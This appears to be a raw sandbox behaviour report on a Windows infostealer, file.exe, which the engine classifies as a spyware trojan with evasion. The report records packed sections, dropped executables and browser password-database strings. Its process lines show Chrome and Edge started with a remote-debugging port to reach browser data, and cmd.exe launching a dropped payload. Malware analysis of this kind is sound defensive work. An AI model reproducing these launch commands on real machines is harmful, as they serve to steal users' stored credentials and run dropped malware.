Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsBAECFHJEBA.exe.0.dr	Static PE information: section name:
Source: DocumentsBAECFHJEBA.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsBAECFHJEBA.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C53B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C53B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C53B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C4DF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D35A0	0_2_6C4D35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54545C	0_2_6C54545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E5440	0_2_6C4E5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515C10	0_2_6C515C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C522C10	0_2_6C522C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54AC00	0_2_6C54AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54542B	0_2_6C54542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E64C0	0_2_6C4E64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FD4D0	0_2_6C4FD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C516CF0	0_2_6C516CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DD4E0	0_2_6C4DD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E6C80	0_2_6C4E6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5334A0	0_2_6C5334A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53C4A0	0_2_6C53C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C500512	0_2_6C500512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EFD00	0_2_6C4EFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FED10	0_2_6C4FED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C510DD0	0_2_6C510DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5385F0	0_2_6C5385F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C513E50	0_2_6C513E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F4640	0_2_6C4F4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C522E4E	0_2_6C522E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F9E50	0_2_6C4F9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C546E63	0_2_6C546E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DC670	0_2_6C4DC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C517E10	0_2_6C517E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C525600	0_2_6C525600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C539E30	0_2_6C539E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5476E3	0_2_6C5476E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DBEF0	0_2_6C4DBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EFEF0	0_2_6C4EFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53E680	0_2_6C53E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F5E90	0_2_6C4F5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C534EA0	0_2_6C534EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C517710	0_2_6C517710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E9F00	0_2_6C4E9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C506FF0	0_2_6C506FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DDFE0	0_2_6C4DDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5277A0	0_2_6C5277A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F8850	0_2_6C4F8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FD850	0_2_6C4FD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51F070	0_2_6C51F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E7810	0_2_6C4E7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51B820	0_2_6C51B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C524820	0_2_6C524820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5450C7	0_2_6C5450C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FC0E0	0_2_6C4FC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5158E0	0_2_6C5158E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5060A0	0_2_6C5060A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FA940	0_2_6C4FA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52B970	0_2_6C52B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54B170	0_2_6C54B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4ED960	0_2_6C4ED960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515190	0_2_6C515190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C532990	0_2_6C532990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50D9B0	0_2_6C50D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DC9A0	0_2_6C4DC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C519A60	0_2_6C519A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C518AC0	0_2_6C518AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51E2F0	0_2_6C51E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F1AF0	0_2_6C4F1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54BA90	0_2_6C54BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C542AB0	0_2_6C542AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D22A0	0_2_6C4D22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C504AA0	0_2_6C504AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4ECAB0	0_2_6C4ECAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D5340	0_2_6C4D5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EC370	0_2_6C4EC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51D320	0_2_6C51D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5453C8	0_2_6C5453C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DF380	0_2_6C4DF380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5194D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C50CBE8 appears 134 times

Source: DocumentsBAECFHJEBA.exe.0.dr	Static PE information: No import functions for PE file found
Source: random[1].exe.0.dr	Static PE information: No import functions for PE file found

Source: DocumentsBAECFHJEBA.exe.0.dr	Static PE information: Data appended to the last section found
Source: random[1].exe.0.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2608189935.000000006C755000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: typyooby ZLIB complexity 0.9947890124490391
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.99560546875
Source: DocumentsBAECFHJEBA.exe.0.dr	Static PE information: Section: ZLIB complexity 0.99560546875

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@69/279@22/19

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C537030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C537030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\YN9STV0H.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7344:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\ef4d723a-327f-4143-af3b-edccdd41acfc.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2608075848.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2607388565.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2600906350.000000001D505000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2608075848.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2607388565.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2600906350.000000001D505000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2608075848.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2607388565.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2600906350.000000001D505000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2608075848.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2607388565.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2600906350.000000001D505000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2608075848.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2607388565.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2600906350.000000001D505000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2608075848.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2607388565.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2600906350.000000001D505000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2607388565.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2600906350.000000001D505000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2249128042.000000001D409000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2337077203.000000001D3FD000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr, AFIIIIJKFCAAECAKFIEH.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2607388565.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2600906350.000000001D505000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2607388565.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2600906350.000000001D505000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	Virustotal: Detection: 52%
Source: file.exe	ReversingLabs: Detection: 39%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=2188,i,14208366846228891866,12356919206208960145,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2284,i,3128771043236324201,6977543102233730752,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2776 --field-trial-handle=1984,i,8660078907513999218,12504621665914136151,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6728 --field-trial-handle=1984,i,8660078907513999218,12504621665914136151,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6892 --field-trial-handle=1984,i,8660078907513999218,12504621665914136151,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAECFHJEBA.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6844 --field-trial-handle=1984,i,8660078907513999218,12504621665914136151,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAECFHJEBA.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=2188,i,14208366846228891866,12356919206208960145,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2284,i,3128771043236324201,6977543102233730752,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2776 --field-trial-handle=1984,i,8660078907513999218,12504621665914136151,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6728 --field-trial-handle=1984,i,8660078907513999218,12504621665914136151,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6892 --field-trial-handle=1984,i,8660078907513999218,12504621665914136151,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6844 --field-trial-handle=1984,i,8660078907513999218,12504621665914136151,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
